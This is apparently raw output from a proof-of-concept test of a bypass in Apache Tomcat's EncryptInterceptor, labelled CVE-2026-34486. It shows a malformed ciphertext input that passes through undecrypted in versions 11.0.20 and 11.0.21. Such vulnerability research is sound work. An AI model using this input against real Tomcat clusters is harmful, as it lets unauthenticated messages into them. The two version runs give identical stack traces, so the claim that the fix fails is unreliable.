=== CVE-2026-34486 Variant Analysis ===

--- Testing VULNERABLE version (11.0.20) ---
Apr 14, 2026 12:50:47 PM org.apache.catalina.tribes.group.interceptors.EncryptInterceptor createEncryptionManager
WARNING: The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding]. It is recommended to switch to using AES/GCM/NoPadding.
Sending malformed ciphertext to EncryptInterceptor...
Input: 000102030405060708090a0b0c0d0e0ffffefdfc4142434445464748
Apr 14, 2026 12:50:47 PM org.apache.catalina.tribes.group.interceptors.EncryptInterceptor messageReceived
SEVERE: Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
	at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
	at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
	at java.base/com.sun.crypto.provider.AESCipher.engineDoFinal(AESCipher.java:446)
	at java.base/javax.crypto.Cipher.doFinal(Cipher.java:2303)
	at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor$BaseEncryptionManager.decrypt(EncryptInterceptor.java:553)
	at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:135)
	at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
	at java.base/java.lang.reflect.Method.invoke(Method.java:580)
	at TestVariant.testVersion(TestVariant.java:117)
	at TestVariant.main(TestVariant.java:29)

messageReceived() completed without throwing
Captured downstream: 000102030405060708090a0b0c0d0e0ffffefdfc4142434445464748
Bypass confirmed (input == output): true
Vulnerable version bypass: CONFIRMED

--- Testing FIXED version (11.0.21) ---
Apr 14, 2026 12:50:47 PM org.apache.catalina.tribes.group.interceptors.EncryptInterceptor createEncryptionManager
WARNING: The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding]. It is recommended to switch to using AES/GCM/NoPadding.
Sending malformed ciphertext to EncryptInterceptor...
Input: 000102030405060708090a0b0c0d0e0ffffefdfc4142434445464748
Apr 14, 2026 12:50:47 PM org.apache.catalina.tribes.group.interceptors.EncryptInterceptor messageReceived
SEVERE: Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
	at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
	at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
	at java.base/com.sun.crypto.provider.AESCipher.engineDoFinal(AESCipher.java:446)
	at java.base/javax.crypto.Cipher.doFinal(Cipher.java:2303)
	at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor$BaseEncryptionManager.decrypt(EncryptInterceptor.java:553)
	at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:135)
	at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
	at java.base/java.lang.reflect.Method.invoke(Method.java:580)
	at TestVariant.testVersion(TestVariant.java:117)
	at TestVariant.main(TestVariant.java:35)

messageReceived() completed without throwing
Captured downstream: 000102030405060708090a0b0c0d0e0ffffefdfc4142434445464748
Bypass confirmed (input == output): true
Fixed version bypass: CONFIRMED (BYPASS!)

=== SUMMARY ===
Vulnerable version (11.0.20): bypass = true
Fixed version (11.0.21): bypass = true

=== FINAL VERDICT ===
BYPASS CONFIRMED! The fix does NOT work.
CVE-2026-34486 variant found in fixed version.